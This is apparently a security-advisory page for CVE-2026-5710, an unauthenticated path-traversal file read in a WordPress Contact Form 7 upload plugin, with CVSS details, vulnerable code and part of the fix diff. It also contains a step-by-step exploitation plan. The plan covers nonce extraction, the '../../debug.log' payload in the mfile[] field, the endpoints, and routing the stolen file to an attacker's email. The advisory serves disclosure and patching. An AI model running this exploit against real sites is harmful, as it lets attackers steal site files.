CVE-2026-5710

Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Limited Arbitrary File Read via mfile Field

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.3.9.7
Patched in
1d
Time to patch

Description

The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to Path Traversal leading to Arbitrary File Read in versions up to and including 1.3.9.6. This is due to the plugin using client-supplied mfile[] POST values as the source of truth for email attachment selection without performing any server-side upload provenance check, path canonicalization, or directory containment boundary enforcement. In dnd_wpcf7_posted_data(), each user-submitted filename is directly appended to the plugin's upload URL without sanitization. In dnd_cf7_mail_components(), the URL is converted back to a filesystem path using str_replace() and only file_exists() is used as the acceptance check before attaching the file to the outgoing CF7 email. This makes it possible for unauthenticated attackers to read and exfiltrate arbitrary files readable by the web server process via path traversal sequences in the mfile[] parameter, with files being disclosed as email attachments. Note: This vulnerability is limited to the 'wp-content' folder due to the wpcf7_is_file_path_in_content_dir() function in the Contact Form 7 plugin.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.3.9.6
PublishedApril 17, 2026
Last updatedApril 17, 2026

What Changed in the Fix

Changes introduced in v1.3.9.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5710 ## 1. Vulnerability Summary The **Drag and Drop Multiple File Upload for Contact Form 7** plugin (up to version 1.3.9.6) is vulnerable to an unauthenticated arbitrary file read vulnerability via path traversal. The vulnerability exists because the plugi…

Show full research plan

Exploitation Research Plan: CVE-2026-5710

1. Vulnerability Summary

The Drag and Drop Multiple File Upload for Contact Form 7 plugin (up to version 1.3.9.6) is vulnerable to an unauthenticated arbitrary file read vulnerability via path traversal.

The vulnerability exists because the plugin trusts client-supplied values in the mfile[] POST parameters. During form submission, the plugin appends these values to its upload directory URL in dnd_wpcf7_posted_data(). Subsequently, in dnd_cf7_mail_components(), it converts these URLs back into absolute filesystem paths using simple string replacement and attaches them to the outgoing Contact Form 7 email. Because there is no check to ensure the file was actually uploaded by the plugin or stays within the intended directory, an attacker can use ../ sequences to traverse the filesystem and attach any file readable by the web server (limited to the wp-content directory by Contact Form 7's own security boundaries) to the email.

2. Attack Vector Analysis

  • Target Endpoint: Contact Form 7's AJAX or REST API submission endpoint.
    • REST: /wp-json/contact-form-7/v1/contact-forms/<ID>/feedback
    • AJAX: /wp-admin/admin-ajax.php?action=wpcf7_submit
  • Vulnerable Parameter: The name of the mfile field defined in the form (e.g., upload-file-1[]).
  • Authentication: None required (Unauthenticated).
  • Preconditions:
    • A Contact Form 7 form must exist that uses the [mfile] tag.
    • The form should ideally have "Mail (2)" (auto-responder) enabled and configured to include the mfile field as an attachment, allowing the attacker to receive the file at an email address they control.

3. Code Flow

  1. Entry: A user submits a CF7 form containing an mfile field.
  2. Hook: inc/dnd-upload-cf7.php registers add_filter('wpcf7_posted_data', 'dnd_wpcf7_posted_data', 10, 1);.
  3. Processing: dnd_wpcf7_posted_data() is called.
    • It iterates through form tags.
    • When it finds basetype == 'mfile', it takes the POST data:
      $posted_data[$field_name][$key] = trailingslashit( $uploads_dir['upload_url'] ) . $file;
    • Here, $file is the attacker-supplied traversal string (e.g., ../../../debug.log).
  4. Sink: dnd_cf7_mail_components() (hooked to wpcf7_mail_components) processes the mail components before sending.
    • It retrieves the pseudo-URL from the submission data.
    • It converts the URL to a path (e.g., by replacing site_url() with ABSPATH).
    • It checks if (file_exists($file_path)) and, if true, appends $file_path to $components['attachments'].
  5. Exfiltration: Contact Form 7 sends the email with the sensitive file attached to the recipient(s).

4. Nonce Acquisition Strategy

To submit a Contact Form 7 form, a _wpcf7_nonce is typically required.

  1. Identify Form: Find a page containing a CF7 form with an [mfile] tag. If none exists, create one (see Test Data Setup).
  2. Navigate: Use browser_navigate to the page URL.
  3. Extract CF7 Nonce:
    // Execute via browser_eval
    document.querySelector('input[name="_wpcf7_nonce"]').value
    
  4. Extract Plugin AJAX Nonce (if needed for supplementary actions):
    • The plugin localizes its nonce in the dnd_cf7_uploader object.
    // Execute via browser_eval
    window.dnd_cf7_uploader?.ajax_nonce
    

5. Exploitation Strategy

This exploit involves submitting a form with a malicious payload in the mfile field.

  1. Step 1: Discover Form Details
    Identify the form ID (_wpcf7), the field name for the mfile tag, and the _wpcf7_unit_tag.

  2. Step 2: Construct Payload

    • Target File: wp-content/debug.log (common) or wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php.
    • Traversal: Since the base directory is wp-content/uploads/wp_dndcf7_uploads/, the relative path to wp-content/ is ../../.
    • Final Payload for mfile parameter: ../../debug.log.
  3. Step 3: Execute Attack (HTTP Request)
    Send a POST request to the CF7 REST API.

    • URL: http://localhost:8080/wp-json/contact-form-7/v1/contact-forms/<ID>/feedback
    • Method: POST
    • Content-Type: multipart/form-data
    • Body Parameters:
      • _wpcf7: <ID>
      • _wpcf7_version: (Current CF7 version)
      • _wpcf7_locale: en_US
      • _wpcf7_unit_tag: <TAG>
      • _wpcf7_nonce: <NONCE>
      • your-email: attacker@example.com (Target for auto-responder)
      • <FIELD_NAME>[]: ../../debug.log (The traversal payload)

6. Test Data Setup

Prepare the environment using WP-CLI:

  1. Install Plugins:

    wp plugin install contact-form-7 --activate
    wp plugin install drag-and-drop-multiple-file-upload-contact-form-7 --version=1.3.9.6 --activate
    
  2. Create a Canary File:

    echo "CONFIDENTIAL_DATA_LEAKED" > /var/www/html/wp-content/secret-leak.txt
    
  3. Create Vulnerable Form:
    Create a CF7 form that includes an mfile field and sends an auto-responder (Mail 2) to the user.

    # Use wp eval to create the form programmatically
    wp eval '
    $cf = wpcf7_contact_form::get_template();
    $cf->set_title("Vulnerable Form");
    $cf->set_properties([
        "form" => "[text* your-name][email* your-email][mfile leak-field][submit \"Send\"]",
        "mail_2" => [
            "active" => true,
            "recipient" => "[your-email]",
            "sender" => "admin@example.com",
            "subject" => "Your Files",
            "body" => "See attached.",
            "attachments" => "[leak-field]"
        ]
    ]);
    $cf->save();
    echo "Form ID: " . $cf->id();
    '
    
  4. Publish Page with Form:

    wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[contact-form-7 id="<FORM_ID>"]'
    

7. Expected Results

  • The HTTP response from the CF7 endpoint should return {"status":"mail_sent", "message":"..."}.
  • Internally, the $components['attachments'] array in the mailer will contain the resolved path: /var/www/html/wp-content/secret-leak.txt.
  • In a real-world scenario, the attacker would receive an email at attacker@example.com with the file attached.

8. Verification Steps

Since actual email delivery might not be visible in the test container:

  1. Check Mail Log: If a mail logging plugin is installed, check for the sent attachment.
  2. Mock Filter Test: Use WP-CLI to verify that the plugin logic correctly resolves the traversal:
    wp eval '
    $field_name = "leak-field";
    $payload = "../../secret-leak.txt";
    $uploads = dnd_get_upload_dir();
    $pseudo_url = trailingslashit($uploads["upload_url"]) . $payload;
    
    // Simulate dnd_cf7_mail_components logic
    $file_path = str_replace(site_url() . "/", wp_normalize_path(ABSPATH), $pseudo_url);
    echo "Resolved Path: " . $file_path . "\n";
    echo "File Exists: " . (file_exists($file_path) ? "YES" : "NO") . "\n";
    '
    

9. Alternative Approaches

If the REST API is disabled or restricted:

  • Use the AJAX entry point: POST /wp-admin/admin-ajax.php with action=wpcf7_submit.
  • Ensure all standard CF7 hidden fields are included (_wpcf7_container_post, etc.).
  • If wp-config.php is restricted by wpcf7_is_file_path_in_content_dir(), target wp-content/debug.log or a theme's style.css to confirm read access.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Drag and Drop Multiple File Upload for Contact Form 7 plugin is vulnerable to unauthenticated arbitrary file read via path traversal in versions up to 1.3.9.6. The plugin trusts client-supplied filenames in the mfile[] POST parameter to resolve email attachment paths without performing server-side provenance checks or directory containment validation. This allows attackers to exfiltrate sensitive files within the wp-content directory by having them attached to outgoing Contact Form 7 emails.

Vulnerable Code

// inc/dnd-upload-cf7.php line 271
if( $field->basetype == 'mfile' && isset( $posted_data[$field_name] ) && ! empty( $posted_data[$field_name] ) ) {
    if ( is_array( $posted_data ) ) {
        foreach( $posted_data[$field_name] as $key => $file ) {
            $posted_data[$field_name][$key] = trailingslashit( $uploads_dir['upload_url'] ) . $file;
        }
    }
}

---

// inc/dnd-upload-cf7.php line 211 (Mirroring the conversion logic used in the mailer sink)
// Convert url to dir
$file = str_replace( site_url() . '/', wp_normalize_path( ABSPATH ), $file_url );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-multiple-file-upload-contact-form-7/1.3.9.6/assets/js/codedropz-uploader-jquery.js /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-multiple-file-upload-contact-form-7/1.3.9.7/assets/js/codedropz-uploader-jquery.js
--- /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-multiple-file-upload-contact-form-7/1.3.9.6/assets/js/codedropz-uploader-jquery.js	2026-03-05 05:19:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-multiple-file-upload-contact-form-7/1.3.9.7/assets/js/codedropz-uploader-jquery.js	2026-04-17 04:16:40.000000000 +0000
@@ -2,14 +2,60 @@
  * CodeDropz Uploader
  * Copyright 2018 Glen Mongaya
  * CodeDrop Drag&Drop Uploader
- * @version 1.3.9.6
+ * @version 1.3.9.7
  * @author CodeDropz, Glen Don L. Mongaya
  * @license The MIT License (MIT)
  */
 
+// New: Native helper - find elements within a context (replaces $(selector, ctx))
+function _find( ctx, selector ) {
+	if ( ! ctx ) return [];
+	if ( typeof ctx === 'string' ) ctx = document.querySelector( ctx );
+	return Array.from( ( ctx || document ).querySelectorAll( selector ) );
+}
+
+// New: Native helper - get a single element
+function _findOne( ctx, selector ) {
+	if ( ! ctx ) return null;
+	if ( typeof ctx === 'string' ) ctx = document.querySelector( ctx );
+	return ( ctx || document ).querySelector( selector );
+}
+
+// New: Native helper - add class to element
+function _addClass( el, cls ) {
+	if ( el && cls ) el.classList.add( cls );
+}
+
+// New: Native helper - remove class from element
+function _removeClass( el, cls ) {
+	if ( el && cls ) el.classList.remove( cls );
+}
+
+// New: Native helper - check if element has class
+function _hasClass( el, cls ) {
+	return el ? el.classList.contains( cls ) : false;
+}
+
+// New: Native helper – safely append HTML after an element
+function _insertAfter( referenceEl, html ) {
+	if ( ! referenceEl || ! html ) return null;
+	var template = document.createElement( 'div' );
+	template.innerHTML = html;
+	var node = template.firstChild;
+	referenceEl.parentNode.insertBefore( node, referenceEl.nextSibling );
+	return node;
+}
+
+// New: Native helper – safely escape HTML to prevent XSS in file names
+function _escapeHtml( str ) {
+	var div = document.createElement( 'div' );
+	div.appendChild( document.createTextNode( String( str ) ) );
+	return div.innerHTML;
+}

Exploit Outline

The exploit is performed by submitting a Contact Form 7 form that includes an mfile upload tag. An unauthenticated attacker first obtains a valid CF7 submission nonce and the form's unit tag from the target page. They then send a POST request to either the CF7 AJAX endpoint or the REST API endpoint (/wp-json/contact-form-7/v1/contact-forms/<ID>/feedback). The payload consists of adding a path traversal sequence to the field name corresponding to the mfile tag (e.g., upload-file-1[]: ../../debug.log). Because the plugin trusts this value as the file name to be retrieved from its upload directory, it resolves the traversal to an absolute path on the server (limited to wp-content). If the form is configured with an auto-responder (Mail 2) that includes the mfile tag, the plugin will attach the requested sensitive file to the email and send it to the address provided by the attacker in the submission.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.